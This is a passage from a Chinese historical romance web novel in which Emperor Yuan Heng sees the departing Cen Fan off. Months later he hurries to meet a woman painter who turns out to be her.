可剩下的动作,全被他的下一句话掐断了。 他尚未清醒,声音滞涩,“皎皎,我其实没打算放过你…” 岑璠心道他是烧糊涂了,连藏在心里的话都同她说出来了。 思绪正乱时,他又握住了她的手, “我这辈子怕是都放不下你了,你也别总等着让我纳妃一走了之,我怕是要赖上你一辈子了…” “这皇后之位永远是你的,我和满满会一直等着你回来…” 岑璠的手微微一动,却无人察觉。 她放下手中的碗,道:“陛下先好好休息罢…” 元衡最终还是没能等到她的回复。 她走的那日,已经春暖花开,正是洛阳宫里一年最美的时候。 只是这样的美景,却终究无人共赏。 岑璠走的那一日,元衡的病已经好了许多,同满满一同送她出去。 宫门大开,一辆马车畅通无阻,向宫门外而去。 就像过去的很多次一样,他送行,她远去,毫无留恋之意。 可父女二人不知道的是,这一次岑璠回了头。 她掀开车帘,隐约听到满满的哭声,还有一道沉稳的声音,似在柔声安慰。 一切的声音,都渐渐消散在了风中。 * 盛夏已至,宫里刚刚换上冷库的冰来解暑。 元衡已经很多个月没有打听过岑璠的行踪了。 那次病时他说的话依稀记得些,他的话都说到了那个份上,如果她想要回来自是还会回来,若是自此不回来,那也只能认命了。 这些年宫里栽了许多棵梅树,有好几棵还是元衡亲手栽的,前几日下了果子,元衡记得她喜欢,吩咐宫里膳食局的人用秘方腌了些,送去给她。 元衡还记得那去送梅子的人见他时,似是欲言又止。 他也知道,千里迢迢送去梅子实在荒唐,可那又如何,难不成这些宫人能给他想出些好办法? 他不知道那筐梅子会被送往何处,他也不想打听,她行踪不定,说不定打听出来她已经变了去向。 这都十多天过去了,他还是没有收到她的回信。 元衡似乎已经习惯了如此,也渐渐学会了不去想她。 他甚至都开始怀疑,是不是有一天他真的会这样忘掉她… 元衡不想这样,坐在书房里思来想去,又准备给她送去一封信。 只是这封信还没写完,自宫外传来了一个奇怪的消息。 “陛下,宫门外有个画师,说是想要面见陛下。” 元衡这些年听过太多想要见他的人,可若是谁都能见到皇帝,岂不是会乱套? 元衡又提起笔,淡淡道:“不见。” “呃…”带话的老太监欲言又止,将那狂妄自大的画师剩下的半句话也带给了他,“那人说,这次不见,可能还要再等半年。” 元衡不予理会,可就要下笔时忽然又想到什么,问道:“你说的那个画师,是男是女?” “回陛下,是个女画师。” 元衡呼吸停了一刻,仿佛有一滴清泉悄然敲击在心房,而后汇聚成溪。 他猛然站起身,把老太监吓了一跳。 老太监以为皇帝是要找那画师算账,小声问道:“陛下,可是要派人将那人捉来问话?” “那个画师叫什么名字?” “回陛下,名叫雯华。” 老太监答完,还不待等到下一个问题,皇帝已经绕过了他,朝门外走去。 老太监尚且摸不着头脑,只能先慌忙跟上脚程,可皇帝越走越快,他都快跟不上了。 “她有没有同你说,她现在在何处?” 老太监气喘吁吁道:“画师说,她会在洛阳郑氏的府上待几日,若是陛下愿意见,她再进宫。” 说完这番话,老太监悄悄看了一眼前面的帝王,也不知道是不是看错了,他好像看到皇帝笑了。 那笑容像是一块融化的寒冰,和他平日所见的帝王很不一样。 元衡脚步顿了顿,他在想要不要叫上满满一起去,可想了想,却是觉得算了。 他自己去找她。 他抬头看了看天空,天朗气清,朝阳正在迎着他,便又坚定地迈开了脚步,没有一丝彷徨。 微风拂过,仿佛落入了他的怀中。【你现在阅读的是 】